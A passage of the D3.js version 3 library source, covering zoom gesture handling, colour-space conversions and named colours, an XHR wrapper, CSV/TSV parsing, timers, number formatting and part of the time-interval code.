subject.on(mousemove, null).on(mouseup, null);
dragRestore(dragged);
zoomended(dispatch);
}
}
function touchstarted() {
var that = this, dispatch = event.of(that, arguments), locations0 = {}, distance0 = 0, scale0, zoomName = ".zoom-" + d3.event.changedTouches[0].identifier, touchmove = "touchmove" + zoomName, touchend = "touchend" + zoomName, targets = [], subject = d3.select(that), dragRestore = d3_event_dragSuppress(that);
started();
zoomstarted(dispatch);
subject.on(mousedown, null).on(touchstart, started);
function relocate() {
var touches = d3.touches(that);
scale0 = view.k;
touches.forEach(function(t) {
if (t.identifier in locations0) locations0[t.identifier] = location(t);
});
return touches;
}
function started() {
var target = d3.event.target;
d3.select(target).on(touchmove, moved).on(touchend, ended);
targets.push(target);
var changed = d3.event.changedTouches;
for (var i = 0, n = changed.length; i < n; ++i) {
locations0[changed[i].identifier] = null;
}
var touches = relocate(), now = Date.now();
if (touches.length === 1) {
if (now - touchtime < 500) {
var p = touches[0];
zoomTo(that, p, locations0[p.identifier], Math.floor(Math.log(view.k) / Math.LN2) + 1);
d3_eventPreventDefault();
}
touchtime = now;
} else if (touches.length > 1) {
var p = touches[0], q = touches[1], dx = p[0] - q[0], dy = p[1] - q[1];
distance0 = dx * dx + dy * dy;
}
}
function moved() {
var touches = d3.touches(that), p0, l0, p1, l1;
d3_selection_interrupt.call(that);
for (var i = 0, n = touches.length; i < n; ++i, l1 = null) {
p1 = touches[i];
if (l1 = locations0[p1.identifier]) {
if (l0) break;
p0 = p1, l0 = l1;
}
}
if (l1) {
var distance1 = (distance1 = p1[0] - p0[0]) * distance1 + (distance1 = p1[1] - p0[1]) * distance1, scale1 = distance0 && Math.sqrt(distance1 / distance0);
p0 = [ (p0[0] + p1[0]) / 2, (p0[1] + p1[1]) / 2 ];
l0 = [ (l0[0] + l1[0]) / 2, (l0[1] + l1[1]) / 2 ];
scaleTo(scale1 * scale0);
}
touchtime = null;
translateTo(p0, l0);
zoomed(dispatch);
}
function ended() {
if (d3.event.touches.length) {
var changed = d3.event.changedTouches;
for (var i = 0, n = changed.length; i < n; ++i) {
delete locations0[changed[i].identifier];
}
for (var identifier in locations0) {
return void relocate();
}
}
d3.selectAll(targets).on(zoomName, null);
subject.on(mousedown, mousedowned).on(touchstart, touchstarted);
dragRestore();
zoomended(dispatch);
}
}
function mousewheeled() {
var dispatch = event.of(this, arguments);
if (mousewheelTimer) clearTimeout(mousewheelTimer); else d3_selection_interrupt.call(this),
translate0 = location(center0 = center || d3.mouse(this)), zoomstarted(dispatch);
mousewheelTimer = setTimeout(function() {
mousewheelTimer = null;
zoomended(dispatch);
}, 50);
d3_eventPreventDefault();
scaleTo(Math.pow(2, d3_behavior_zoomDelta() * .002) * view.k);
translateTo(center0, translate0);
zoomed(dispatch);
}
function dblclicked() {
var p = d3.mouse(this), k = Math.log(view.k) / Math.LN2;
zoomTo(this, p, location(p), d3.event.shiftKey ? Math.ceil(k) - 1 : Math.floor(k) + 1);
}
return d3.rebind(zoom, event, "on");
};
var d3_behavior_zoomInfinity = [ 0, Infinity ], d3_behavior_zoomDelta, d3_behavior_zoomWheel;
d3.color = d3_color;
function d3_color() {}
d3_color.prototype.toString = function() {
return this.rgb() + "";
};
d3.hsl = d3_hsl;
function d3_hsl(h, s, l) {
return this instanceof d3_hsl ? void (this.h = +h, this.s = +s, this.l = +l) : arguments.length < 2 ? h instanceof d3_hsl ? new d3_hsl(h.h, h.s, h.l) : d3_rgb_parse("" + h, d3_rgb_hsl, d3_hsl) : new d3_hsl(h, s, l);
}
var d3_hslPrototype = d3_hsl.prototype = new d3_color();
d3_hslPrototype.brighter = function(k) {
k = Math.pow(.7, arguments.length ? k : 1);
return new d3_hsl(this.h, this.s, this.l / k);
};
d3_hslPrototype.darker = function(k) {
k = Math.pow(.7, arguments.length ? k : 1);
return new d3_hsl(this.h, this.s, k * this.l);
};
d3_hslPrototype.rgb = function() {
return d3_hsl_rgb(this.h, this.s, this.l);
};
function d3_hsl_rgb(h, s, l) {
var m1, m2;
h = isNaN(h) ? 0 : (h %= 360) < 0 ? h + 360 : h;
s = isNaN(s) ? 0 : s < 0 ? 0 : s > 1 ? 1 : s;
l = l < 0 ? 0 : l > 1 ? 1 : l;
m2 = l <= .5 ? l * (1 + s) : l + s - l * s;
m1 = 2 * l - m2;
function v(h) {
if (h > 360) h -= 360; else if (h < 0) h += 360;
if (h < 60) return m1 + (m2 - m1) * h / 60;
if (h < 180) return m2;
if (h < 240) return m1 + (m2 - m1) * (240 - h) / 60;
return m1;
}
function vv(h) {
return Math.round(v(h) * 255);
}
return new d3_rgb(vv(h + 120), vv(h), vv(h - 120));
}
d3.hcl = d3_hcl;
function d3_hcl(h, c, l) {
return this instanceof d3_hcl ? void (this.h = +h, this.c = +c, this.l = +l) : arguments.length < 2 ? h instanceof d3_hcl ? new d3_hcl(h.h, h.c, h.l) : h instanceof d3_lab ? d3_lab_hcl(h.l, h.a, h.b) : d3_lab_hcl((h = d3_rgb_lab((h = d3.rgb(h)).r, h.g, h.b)).l, h.a, h.b) : new d3_hcl(h, c, l);
}
var d3_hclPrototype = d3_hcl.prototype = new d3_color();
d3_hclPrototype.brighter = function(k) {
return new d3_hcl(this.h, this.c, Math.min(100, this.l + d3_lab_K * (arguments.length ? k : 1)));
};
d3_hclPrototype.darker = function(k) {
return new d3_hcl(this.h, this.c, Math.max(0, this.l - d3_lab_K * (arguments.length ? k : 1)));
};
d3_hclPrototype.rgb = function() {
return d3_hcl_lab(this.h, this.c, this.l).rgb();
};
function d3_hcl_lab(h, c, l) {
if (isNaN(h)) h = 0;
if (isNaN(c)) c = 0;
return new d3_lab(l, Math.cos(h *= d3_radians) * c, Math.sin(h) * c);
}
d3.lab = d3_lab;
function d3_lab(l, a, b) {
return this instanceof d3_lab ? void (this.l = +l, this.a = +a, this.b = +b) : arguments.length < 2 ? l instanceof d3_lab ? new d3_lab(l.l, l.a, l.b) : l instanceof d3_hcl ? d3_hcl_lab(l.h, l.c, l.l) : d3_rgb_lab((l = d3_rgb(l)).r, l.g, l.b) : new d3_lab(l, a, b);
}
var d3_lab_K = 18;
var d3_lab_X = .95047, d3_lab_Y = 1, d3_lab_Z = 1.08883;
var d3_labPrototype = d3_lab.prototype = new d3_color();
d3_labPrototype.brighter = function(k) {
return new d3_lab(Math.min(100, this.l + d3_lab_K * (arguments.length ? k : 1)), this.a, this.b);
};
d3_labPrototype.darker = function(k) {
return new d3_lab(Math.max(0, this.l - d3_lab_K * (arguments.length ? k : 1)), this.a, this.b);
};
d3_labPrototype.rgb = function() {
return d3_lab_rgb(this.l, this.a, this.b);
};
function d3_lab_rgb(l, a, b) {
var y = (l + 16) / 116, x = y + a / 500, z = y - b / 200;
x = d3_lab_xyz(x) * d3_lab_X;
y = d3_lab_xyz(y) * d3_lab_Y;
z = d3_lab_xyz(z) * d3_lab_Z;
return new d3_rgb(d3_xyz_rgb(3.2404542 * x - 1.5371385 * y - .4985314 * z), d3_xyz_rgb(-.969266 * x + 1.8760108 * y + .041556 * z), d3_xyz_rgb(.0556434 * x - .2040259 * y + 1.0572252 * z));
}
function d3_lab_hcl(l, a, b) {
return l > 0 ? new d3_hcl(Math.atan2(b, a) * d3_degrees, Math.sqrt(a * a + b * b), l) : new d3_hcl(NaN, NaN, l);
}
function d3_lab_xyz(x) {
return x > .206893034 ? x * x * x : (x - 4 / 29) / 7.787037;
}
function d3_xyz_lab(x) {
return x > .008856 ? Math.pow(x, 1 / 3) : 7.787037 * x + 4 / 29;
}
function d3_xyz_rgb(r) {
return Math.round(255 * (r <= .00304 ? 12.92 * r : 1.055 * Math.pow(r, 1 / 2.4) - .055));
}
d3.rgb = d3_rgb;
function d3_rgb(r, g, b) {
return this instanceof d3_rgb ? void (this.r = ~~r, this.g = ~~g, this.b = ~~b) : arguments.length < 2 ? r instanceof d3_rgb ? new d3_rgb(r.r, r.g, r.b) : d3_rgb_parse("" + r, d3_rgb, d3_hsl_rgb) : new d3_rgb(r, g, b);
}
function d3_rgbNumber(value) {
return new d3_rgb(value >> 16, value >> 8 & 255, value & 255);
}
function d3_rgbString(value) {
return d3_rgbNumber(value) + "";
}
var d3_rgbPrototype = d3_rgb.prototype = new d3_color();
d3_rgbPrototype.brighter = function(k) {
k = Math.pow(.7, arguments.length ? k : 1);
var r = this.r, g = this.g, b = this.b, i = 30;
if (!r && !g && !b) return new d3_rgb(i, i, i);
if (r && r < i) r = i;
if (g && g < i) g = i;
if (b && b < i) b = i;
return new d3_rgb(Math.min(255, r / k), Math.min(255, g / k), Math.min(255, b / k));
};
d3_rgbPrototype.darker = function(k) {
k = Math.pow(.7, arguments.length ? k : 1);
return new d3_rgb(k * this.r, k * this.g, k * this.b);
};
d3_rgbPrototype.hsl = function() {
return d3_rgb_hsl(this.r, this.g, this.b);
};
d3_rgbPrototype.toString = function() {
return "#" + d3_rgb_hex(this.r) + d3_rgb_hex(this.g) + d3_rgb_hex(this.b);
};
function d3_rgb_hex(v) {
return v < 16 ? "0" + Math.max(0, v).toString(16) : Math.min(255, v).toString(16);
}
function d3_rgb_parse(format, rgb, hsl) {
var r = 0, g = 0, b = 0, m1, m2, color;
m1 = /([a-z]+)\((.*)\)/.exec(format = format.toLowerCase());
if (m1) {
m2 = m1[2].split(",");
switch (m1[1]) {
case "hsl":
{
return hsl(parseFloat(m2[0]), parseFloat(m2[1]) / 100, parseFloat(m2[2]) / 100);
}
case "rgb":
{
return rgb(d3_rgb_parseNumber(m2[0]), d3_rgb_parseNumber(m2[1]), d3_rgb_parseNumber(m2[2]));
}
}
}
if (color = d3_rgb_names.get(format)) {
return rgb(color.r, color.g, color.b);
}
if (format != null && format.charAt(0) === "#" && !isNaN(color = parseInt(format.slice(1), 16))) {
if (format.length === 4) {
r = (color & 3840) >> 4;
r = r >> 4 | r;
g = color & 240;
g = g >> 4 | g;
b = color & 15;
b = b << 4 | b;
} else if (format.length === 7) {
r = (color & 16711680) >> 16;
g = (color & 65280) >> 8;
b = color & 255;
}
}
return rgb(r, g, b);
}
function d3_rgb_hsl(r, g, b) {
var min = Math.min(r /= 255, g /= 255, b /= 255), max = Math.max(r, g, b), d = max - min, h, s, l = (max + min) / 2;
if (d) {
s = l < .5 ? d / (max + min) : d / (2 - max - min);
if (r == max) h = (g - b) / d + (g < b ? 6 : 0); else if (g == max) h = (b - r) / d + 2; else h = (r - g) / d + 4;
h *= 60;
} else {
h = NaN;
s = l > 0 && l < 1 ? 0 : h;
}
return new d3_hsl(h, s, l);
}
function d3_rgb_lab(r, g, b) {
r = d3_rgb_xyz(r);
g = d3_rgb_xyz(g);
b = d3_rgb_xyz(b);
var x = d3_xyz_lab((.4124564 * r + .3575761 * g + .1804375 * b) / d3_lab_X), y = d3_xyz_lab((.2126729 * r + .7151522 * g + .072175 * b) / d3_lab_Y), z = d3_xyz_lab((.0193339 * r + .119192 * g + .9503041 * b) / d3_lab_Z);
return d3_lab(116 * y - 16, 500 * (x - y), 200 * (y - z));
}
function d3_rgb_xyz(r) {
return (r /= 255) <= .04045 ? r / 12.92 : Math.pow((r + .055) / 1.055, 2.4);
}
function d3_rgb_parseNumber(c) {
var f = parseFloat(c);
return c.charAt(c.length - 1) === "%" ? Math.round(f * 2.55) : f;
}
var d3_rgb_names = d3.map({
aliceblue: 15792383,
antiquewhite: 16444375,
aqua: 65535,
aquamarine: 8388564,
azure: 15794175,
beige: 16119260,
bisque: 16770244,
black: 0,
blanchedalmond: 16772045,
blue: 255,
blueviolet: 9055202,
brown: 10824234,
burlywood: 14596231,
cadetblue: 6266528,
chartreuse: 8388352,
chocolate: 13789470,
coral: 16744272,
cornflowerblue: 6591981,
cornsilk: 16775388,
crimson: 14423100,
cyan: 65535,
darkblue: 139,
darkcyan: 35723,
darkgoldenrod: 12092939,
darkgray: 11119017,
darkgreen: 25600,
darkgrey: 11119017,
darkkhaki: 12433259,
darkmagenta: 9109643,
darkolivegreen: 5597999,
darkorange: 16747520,
darkorchid: 10040012,
darkred: 9109504,
darksalmon: 15308410,
darkseagreen: 9419919,
darkslateblue: 4734347,
darkslategray: 3100495,
darkslategrey: 3100495,
darkturquoise: 52945,
darkviolet: 9699539,
deeppink: 16716947,
deepskyblue: 49151,
dimgray: 6908265,
dimgrey: 6908265,
dodgerblue: 2003199,
firebrick: 11674146,
floralwhite: 16775920,
forestgreen: 2263842,
fuchsia: 16711935,
gainsboro: 14474460,
ghostwhite: 16316671,
gold: 16766720,
goldenrod: 14329120,
gray: 8421504,
green: 32768,
greenyellow: 11403055,
grey: 8421504,
honeydew: 15794160,
hotpink: 16738740,
indianred: 13458524,
indigo: 4915330,
ivory: 16777200,
khaki: 15787660,
lavender: 15132410,
lavenderblush: 16773365,
lawngreen: 8190976,
lemonchiffon: 16775885,
lightblue: 11393254,
lightcoral: 15761536,
lightcyan: 14745599,
lightgoldenrodyellow: 16448210,
lightgray: 13882323,
lightgreen: 9498256,
lightgrey: 13882323,
lightpink: 16758465,
lightsalmon: 16752762,
lightseagreen: 2142890,
lightskyblue: 8900346,
lightslategray: 7833753,
lightslategrey: 7833753,
lightsteelblue: 11584734,
lightyellow: 16777184,
lime: 65280,
limegreen: 3329330,
linen: 16445670,
magenta: 16711935,
maroon: 8388608,
mediumaquamarine: 6737322,
mediumblue: 205,
mediumorchid: 12211667,
mediumpurple: 9662683,
mediumseagreen: 3978097,
mediumslateblue: 8087790,
mediumspringgreen: 64154,
mediumturquoise: 4772300,
mediumvioletred: 13047173,
midnightblue: 1644912,
mintcream: 16121850,
mistyrose: 16770273,
moccasin: 16770229,
navajowhite: 16768685,
navy: 128,
oldlace: 16643558,
olive: 8421376,
olivedrab: 7048739,
orange: 16753920,
orangered: 16729344,
orchid: 14315734,
palegoldenrod: 15657130,
palegreen: 10025880,
paleturquoise: 11529966,
palevioletred: 14381203,
papayawhip: 16773077,
peachpuff: 16767673,
peru: 13468991,
pink: 16761035,
plum: 14524637,
powderblue: 11591910,
purple: 8388736,
rebeccapurple: 6697881,
red: 16711680,
rosybrown: 12357519,
royalblue: 4286945,
saddlebrown: 9127187,
salmon: 16416882,
sandybrown: 16032864,
seagreen: 3050327,
seashell: 16774638,
sienna: 10506797,
silver: 12632256,
skyblue: 8900331,
slateblue: 6970061,
slategray: 7372944,
slategrey: 7372944,
snow: 16775930,
springgreen: 65407,
steelblue: 4620980,
tan: 13808780,
teal: 32896,
thistle: 14204888,
tomato: 16737095,
turquoise: 4251856,
violet: 15631086,
wheat: 16113331,
white: 16777215,
whitesmoke: 16119285,
yellow: 16776960,
yellowgreen: 10145074
});
d3_rgb_names.forEach(function(key, value) {
d3_rgb_names.set(key, d3_rgbNumber(value));
});
function d3_functor(v) {
return typeof v === "function" ? v : function() {
return v;
};
}
d3.functor = d3_functor;
d3.xhr = d3_xhrType(d3_identity);
function d3_xhrType(response) {
return function(url, mimeType, callback) {
if (arguments.length === 2 && typeof mimeType === "function") callback = mimeType,
mimeType = null;
return d3_xhr(url, mimeType, response, callback);
};
}
function d3_xhr(url, mimeType, response, callback) {
var xhr = {}, dispatch = d3.dispatch("beforesend", "progress", "load", "error"), headers = {}, request = new XMLHttpRequest(), responseType = null;
if (this.XDomainRequest && !("withCredentials" in request) && /^(http(s)?:)?\/\//.test(url)) request = new XDomainRequest();
"onload" in request ? request.onload = request.onerror = respond : request.onreadystatechange = function() {
request.readyState > 3 && respond();
};
function respond() {
var status = request.status, result;
if (!status && d3_xhrHasResponse(request) || status >= 200 && status < 300 || status === 304) {
try {
result = response.call(xhr, request);
} catch (e) {
dispatch.error.call(xhr, e);
return;
}
dispatch.load.call(xhr, result);
} else {
dispatch.error.call(xhr, request);
}
}
request.onprogress = function(event) {
var o = d3.event;
d3.event = event;
try {
dispatch.progress.call(xhr, request);
} finally {
d3.event = o;
}
};
xhr.header = function(name, value) {
name = (name + "").toLowerCase();
if (arguments.length < 2) return headers[name];
if (value == null) delete headers[name]; else headers[name] = value + "";
return xhr;
};
xhr.mimeType = function(value) {
if (!arguments.length) return mimeType;
mimeType = value == null ? null : value + "";
return xhr;
};
xhr.responseType = function(value) {
if (!arguments.length) return responseType;
responseType = value;
return xhr;
};
xhr.response = function(value) {
response = value;
return xhr;
};
[ "get", "post" ].forEach(function(method) {
xhr[method] = function() {
return xhr.send.apply(xhr, [ method ].concat(d3_array(arguments)));
};
});
xhr.send = function(method, data, callback) {
if (arguments.length === 2 && typeof data === "function") callback = data, data = null;
request.open(method, url, true);
if (mimeType != null && !("accept" in headers)) headers["accept"] = mimeType + ",*/*";
if (request.setRequestHeader) for (var name in headers) request.setRequestHeader(name, headers[name]);
if (mimeType != null && request.overrideMimeType) request.overrideMimeType(mimeType);
if (responseType != null) request.responseType = responseType;
if (callback != null) xhr.on("error", callback).on("load", function(request) {
callback(null, request);
});
dispatch.beforesend.call(xhr, request);
request.send(data == null ? null : data);
return xhr;
};
xhr.abort = function() {
request.abort();
return xhr;
};
d3.rebind(xhr, dispatch, "on");
return callback == null ? xhr : xhr.get(d3_xhr_fixCallback(callback));
}
function d3_xhr_fixCallback(callback) {
return callback.length === 1 ? function(error, request) {
callback(error == null ? request : null);
} : callback;
}
function d3_xhrHasResponse(request) {
var type = request.responseType;
return type && type !== "text" ? request.response : request.responseText;
}
d3.dsv = function(delimiter, mimeType) {
var reFormat = new RegExp('["' + delimiter + "\n]"), delimiterCode = delimiter.charCodeAt(0);
function dsv(url, row, callback) {
if (arguments.length < 3) callback = row, row = null;
var xhr = d3_xhr(url, mimeType, row == null ? response : typedResponse(row), callback);
xhr.row = function(_) {
return arguments.length ? xhr.response((row = _) == null ? response : typedResponse(_)) : row;
};
return xhr;
}
function response(request) {
return dsv.parse(request.responseText);
}
function typedResponse(f) {
return function(request) {
return dsv.parse(request.responseText, f);
};
}
dsv.parse = function(text, f) {
var o;
return dsv.parseRows(text, function(row, i) {
if (o) return o(row, i - 1);
var a = new Function("d", "return {" + row.map(function(name, i) {
return JSON.stringify(name) + ": d[" + i + "]";
}).join(",") + "}");
o = f ? function(row, i) {
return f(a(row), i);
} : a;
});
};
dsv.parseRows = function(text, f) {
var EOL = {}, EOF = {}, rows = [], N = text.length, I = 0, n = 0, t, eol;
function token() {
if (I >= N) return EOF;
if (eol) return eol = false, EOL;
var j = I;
if (text.charCodeAt(j) === 34) {
var i = j;
while (i++ < N) {
if (text.charCodeAt(i) === 34) {
if (text.charCodeAt(i + 1) !== 34) break;
++i;
}
}
I = i + 2;
var c = text.charCodeAt(i + 1);
if (c === 13) {
eol = true;
if (text.charCodeAt(i + 2) === 10) ++I;
} else if (c === 10) {
eol = true;
}
return text.slice(j + 1, i).replace(/""/g, '"');
}
while (I < N) {
var c = text.charCodeAt(I++), k = 1;
if (c === 10) eol = true; else if (c === 13) {
eol = true;
if (text.charCodeAt(I) === 10) ++I, ++k;
} else if (c !== delimiterCode) continue;
return text.slice(j, I - k);
}
return text.slice(j);
}
while ((t = token()) !== EOF) {
var a = [];
while (t !== EOL && t !== EOF) {
a.push(t);
t = token();
}
if (f && (a = f(a, n++)) == null) continue;
rows.push(a);
}
return rows;
};
dsv.format = function(rows) {
if (Array.isArray(rows[0])) return dsv.formatRows(rows);
var fieldSet = new d3_Set(), fields = [];
rows.forEach(function(row) {
for (var field in row) {
if (!fieldSet.has(field)) {
fields.push(fieldSet.add(field));
}
}
});
return [ fields.map(formatValue).join(delimiter) ].concat(rows.map(function(row) {
return fields.map(function(field) {
return formatValue(row[field]);
}).join(delimiter);
})).join("\n");
};
dsv.formatRows = function(rows) {
return rows.map(formatRow).join("\n");
};
function formatRow(row) {
return row.map(formatValue).join(delimiter);
}
function formatValue(text) {
return reFormat.test(text) ? '"' + text.replace(/\"/g, '""') + '"' : text;
}
return dsv;
};
d3.csv = d3.dsv(",", "text/csv");
d3.tsv = d3.dsv(" ", "text/tab-separated-values");
var d3_timer_queueHead, d3_timer_queueTail, d3_timer_interval, d3_timer_timeout, d3_timer_frame = this[d3_vendorSymbol(this, "requestAnimationFrame")] || function(callback) {
setTimeout(callback, 17);
};
d3.timer = function() {
d3_timer.apply(this, arguments);
};
function d3_timer(callback, delay, then) {
var n = arguments.length;
if (n < 2) delay = 0;
if (n < 3) then = Date.now();
var time = then + delay, timer = {
c: callback,
t: time,
n: null
};
if (d3_timer_queueTail) d3_timer_queueTail.n = timer; else d3_timer_queueHead = timer;
d3_timer_queueTail = timer;
if (!d3_timer_interval) {
d3_timer_timeout = clearTimeout(d3_timer_timeout);
d3_timer_interval = 1;
d3_timer_frame(d3_timer_step);
}
return timer;
}
function d3_timer_step() {
var now = d3_timer_mark(), delay = d3_timer_sweep() - now;
if (delay > 24) {
if (isFinite(delay)) {
clearTimeout(d3_timer_timeout);
d3_timer_timeout = setTimeout(d3_timer_step, delay);
}
d3_timer_interval = 0;
} else {
d3_timer_interval = 1;
d3_timer_frame(d3_timer_step);
}
}
d3.timer.flush = function() {
d3_timer_mark();
d3_timer_sweep();
};
function d3_timer_mark() {
var now = Date.now(), timer = d3_timer_queueHead;
while (timer) {
if (now >= timer.t && timer.c(now - timer.t)) timer.c = null;
timer = timer.n;
}
return now;
}
function d3_timer_sweep() {
var t0, t1 = d3_timer_queueHead, time = Infinity;
while (t1) {
if (t1.c) {
if (t1.t < time) time = t1.t;
t1 = (t0 = t1).n;
} else {
t1 = t0 ? t0.n = t1.n : d3_timer_queueHead = t1.n;
}
}
d3_timer_queueTail = t0;
return time;
}
function d3_format_precision(x, p) {
return p - (x ? Math.ceil(Math.log(x) / Math.LN10) : 1);
}
d3.round = function(x, n) {
return n ? Math.round(x * (n = Math.pow(10, n))) / n : Math.round(x);
};
var d3_formatPrefixes = [ "y", "z", "a", "f", "p", "n", "µ", "m", "", "k", "M", "G", "T", "P", "E", "Z", "Y" ].map(d3_formatPrefix);
d3.formatPrefix = function(value, precision) {
var i = 0;
if (value = +value) {
if (value < 0) value *= -1;
if (precision) value = d3.round(value, d3_format_precision(value, precision));
i = 1 + Math.floor(1e-12 + Math.log(value) / Math.LN10);
i = Math.max(-24, Math.min(24, Math.floor((i - 1) / 3) * 3));
}
return d3_formatPrefixes[8 + i / 3];
};
function d3_formatPrefix(d, i) {
var k = Math.pow(10, abs(8 - i) * 3);
return {
scale: i > 8 ? function(d) {
return d / k;
} : function(d) {
return d * k;
},
symbol: d
};
}
function d3_locale_numberFormat(locale) {
var locale_decimal = locale.decimal, locale_thousands = locale.thousands, locale_grouping = locale.grouping, locale_currency = locale.currency, formatGroup = locale_grouping && locale_thousands ? function(value, width) {
var i = value.length, t = [], j = 0, g = locale_grouping[0], length = 0;
while (i > 0 && g > 0) {
if (length + g + 1 > width) g = Math.max(1, width - length);
t.push(value.substring(i -= g, i + g));
if ((length += g + 1) > width) break;
g = locale_grouping[j = (j + 1) % locale_grouping.length];
}
return t.reverse().join(locale_thousands);
} : d3_identity;
return function(specifier) {
var match = d3_format_re.exec(specifier), fill = match[1] || " ", align = match[2] || ">", sign = match[3] || "-", symbol = match[4] || "", zfill = match[5], width = +match[6], comma = match[7], precision = match[8], type = match[9], scale = 1, prefix = "", suffix = "", integer = false, exponent = true;
if (precision) precision = +precision.substring(1);
if (zfill || fill === "0" && align === "=") {
zfill = fill = "0";
align = "=";
}
switch (type) {
case "n":
comma = true;
type = "g";
break;
case "%":
scale = 100;
suffix = "%";
type = "f";
break;
case "p":
scale = 100;
suffix = "%";
type = "r";
break;
case "b":
case "o":
case "x":
case "X":
if (symbol === "#") prefix = "0" + type.toLowerCase();
case "c":
exponent = false;
case "d":
integer = true;
precision = 0;
break;
case "s":
scale = -1;
type = "r";
break;
}
if (symbol === "$") prefix = locale_currency[0], suffix = locale_currency[1];
if (type == "r" && !precision) type = "g";
if (precision != null) {
if (type == "g") precision = Math.max(1, Math.min(21, precision)); else if (type == "e" || type == "f") precision = Math.max(0, Math.min(20, precision));
}
type = d3_format_types.get(type) || d3_format_typeDefault;
var zcomma = zfill && comma;
return function(value) {
var fullSuffix = suffix;
if (integer && value % 1) return "";
var negative = value < 0 || value === 0 && 1 / value < 0 ? (value = -value, "-") : sign === "-" ? "" : sign;
if (scale < 0) {
var unit = d3.formatPrefix(value, precision);
value = unit.scale(value);
fullSuffix = unit.symbol + suffix;
} else {
value *= scale;
}
value = type(value, precision);
var i = value.lastIndexOf("."), before, after;
if (i < 0) {
var j = exponent ? value.lastIndexOf("e") : -1;
if (j < 0) before = value, after = ""; else before = value.substring(0, j), after = value.substring(j);
} else {
before = value.substring(0, i);
after = locale_decimal + value.substring(i + 1);
}
if (!zfill && comma) before = formatGroup(before, Infinity);
var length = prefix.length + before.length + after.length + (zcomma ? 0 : negative.length), padding = length < width ? new Array(length = width - length + 1).join(fill) : "";
if (zcomma) before = formatGroup(padding + before, padding.length ? width - after.length : Infinity);
negative += prefix;
value = before + after;
return (align === "<" ? negative + value + padding : align === ">" ? padding + negative + value : align === "^" ? padding.substring(0, length >>= 1) + negative + value + padding.substring(length) : negative + (zcomma ? value : padding + value)) + fullSuffix;
};
};
}
var d3_format_re = /(?:([^{])?([<>=^]))?([+\- ])?([$#])?(0)?(\d+)?(,)?(\.-?\d+)?([a-z%])?/i;
var d3_format_types = d3.map({
b: function(x) {
return x.toString(2);
},
c: function(x) {
return String.fromCharCode(x);
},
o: function(x) {
return x.toString(8);
},
x: function(x) {
return x.toString(16);
},
X: function(x) {
return x.toString(16).toUpperCase();
},
g: function(x, p) {
return x.toPrecision(p);
},
e: function(x, p) {
return x.toExponential(p);
},
f: function(x, p) {
return x.toFixed(p);
},
r: function(x, p) {
return (x = d3.round(x, d3_format_precision(x, p))).toFixed(Math.max(0, Math.min(20, d3_format_precision(x * (1 + 1e-15), p))));
}
});
function d3_format_typeDefault(x) {
return x + "";
}
var d3_time = d3.time = {}, d3_date = Date;
function d3_date_utc() {
this._ = new Date(arguments.length > 1 ? Date.UTC.apply(this, arguments) : arguments[0]);
}
d3_date_utc.prototype = {
getDate: function() {
return this._.getUTCDate();
},
getDay: function() {
return this._.getUTCDay();
},
getFullYear: function() {
return this._.getUTCFullYear();
},
getHours: function() {
return this._.getUTCHours();
},
getMilliseconds: function() {
return this._.getUTCMilliseconds();
},
getMinutes: function() {
return this._.getUTCMinutes();
},
getMonth: function() {
return this._.getUTCMonth();
},
getSeconds: function() {
return this._.getUTCSeconds();
},
getTime: function() {
return this._.getTime();
},
getTimezoneOffset: function() {
return 0;
},
valueOf: function() {
return this._.valueOf();
},
setDate: function() {
d3_time_prototype.setUTCDate.apply(this._, arguments);
},
setDay: function() {
d3_time_prototype.setUTCDay.apply(this._, arguments);
},
setFullYear: function() {
d3_time_prototype.setUTCFullYear.apply(this._, arguments);
},
setHours: function() {
d3_time_prototype.setUTCHours.apply(this._, arguments);
},
setMilliseconds: function() {
d3_time_prototype.setUTCMilliseconds.apply(this._, arguments);
},
setMinutes: function() {
d3_time_prototype.setUTCMinutes.apply(this._, arguments);
},
setMonth: function() {
d3_time_prototype.setUTCMonth.apply(this._, arguments);
},
setSeconds: function() {
d3_time_prototype.setUTCSeconds.apply(this._, arguments);
},
setTime: function() {
d3_time_prototype.setTime.apply(this._, arguments);
}
};
var d3_time_prototype = Date.prototype;
function d3_time_interval(local, step, number) {
function round(date) {
var d0 = local(date), d1 = offset(d0, 1);
return date - d0 < d1 - date ? d0 : d1;
}
function ceil(date) {
step(date = local(new d3_date(date - 1)), 1);
return date;
}
function offset(date, k) {
step(date = new d3_date(+date), k);
return date;
}
function range(t0, t1, dt) {
var time = ceil(t0), times = [];
if (dt > 1) {
while (time < t1) {
if (!(number(time) % dt)) times.push(new Date(+time));
step(time, 1);
}
} else {
while (time < t1) times.push(new Date(+time)), step(time, 1);
}
return times;
}
function range_utc(t0, t1, dt) {
try {
d3_date = d3_date_utc;
var utc = new d3_date_utc();
utc._ = t0;
return range(utc, t1, dt);
} finally {
d3_date = Date;
}
}
local.floor = local;
local.round = round;
local.ceil = ceil;
local.offset = offset;
local.range = range;
var utc = local.utc = d3_time_interval_utc(local);
utc.floor = utc;
utc.round = d3_time_interval_utc(round);
utc.ceil = d3_time_interval_utc(ceil);
utc.offset = d3_time_interval_utc(offset);
utc.range = range_utc;
return local;
}
function d3_time_interval_utc(method) {
return function(date, k) {
try {
d3_date = d3_date_utc;
var utc = new d3_date_utc();
utc._ = date;
return method(utc, k)._;
} finally {
d3_date = Date;
}
};
}
d3_time.year = d3_time_interval(function(date) {
date = d3_time.day(date);
date.setMonth(0, 1);
return date;
}, function(date, offset) {
date.setFullYear(date.getFullYear() + offset);
}, function(date) {
return date.getFullYear();
});
d3_time.years = d3_time.year.range;
d3_time.years.utc = d3_time.year.utc.range;
d3_time.day = d3_time_interval(function(date) {
var day = new d3_date(2e3, 0);
day.setFullYear(date.getFullYear(), date.getMonth(), date.getDate());
return day;
}, function(date, offset) {
date.setDate(date.getDate() + offset);
}, function(date) {
return date.getDate() - 1;
});
d3_time.days = d3_time.day.range;
d3_time.days.utc = d3_time.day.utc.range;
d3_time.dayOfYear = function(date) {
var year = d3_time.year(date);
return Math.floor((date - year - (date.getTimezoneOffset() - year.getTimezoneOffset()) * 6e4) / 864e5);
};
[ "sunday", "monday", "tuesday", "wednesday", "thursday", "friday", "saturday" ].forEach(function(day, i) {
i = 7 - i;
var interval = d3_time[day] = d3_time_interval(function(date) {
(date = d3_time.day(date)).setDate(date.getDate() - (date.getDay() + i) % 7);
return date;
}, function(date, offset) {
date.setDate(date.getDate() + Math.floor(offset) * 7);
}, function(date) {
var day = d3_time.year(date).getDay();
return Math.floor((d3_time.dayOfYear(date) + (day + i) % 7) / 7) - (day !== i);
});
d3_time[day + "s"] = interval.range;
d3_time[day + "s"].utc = interval.utc.range;
d3_time[day + "OfYear"] = function(date) {
var day = d3_time.year(date).getDay();
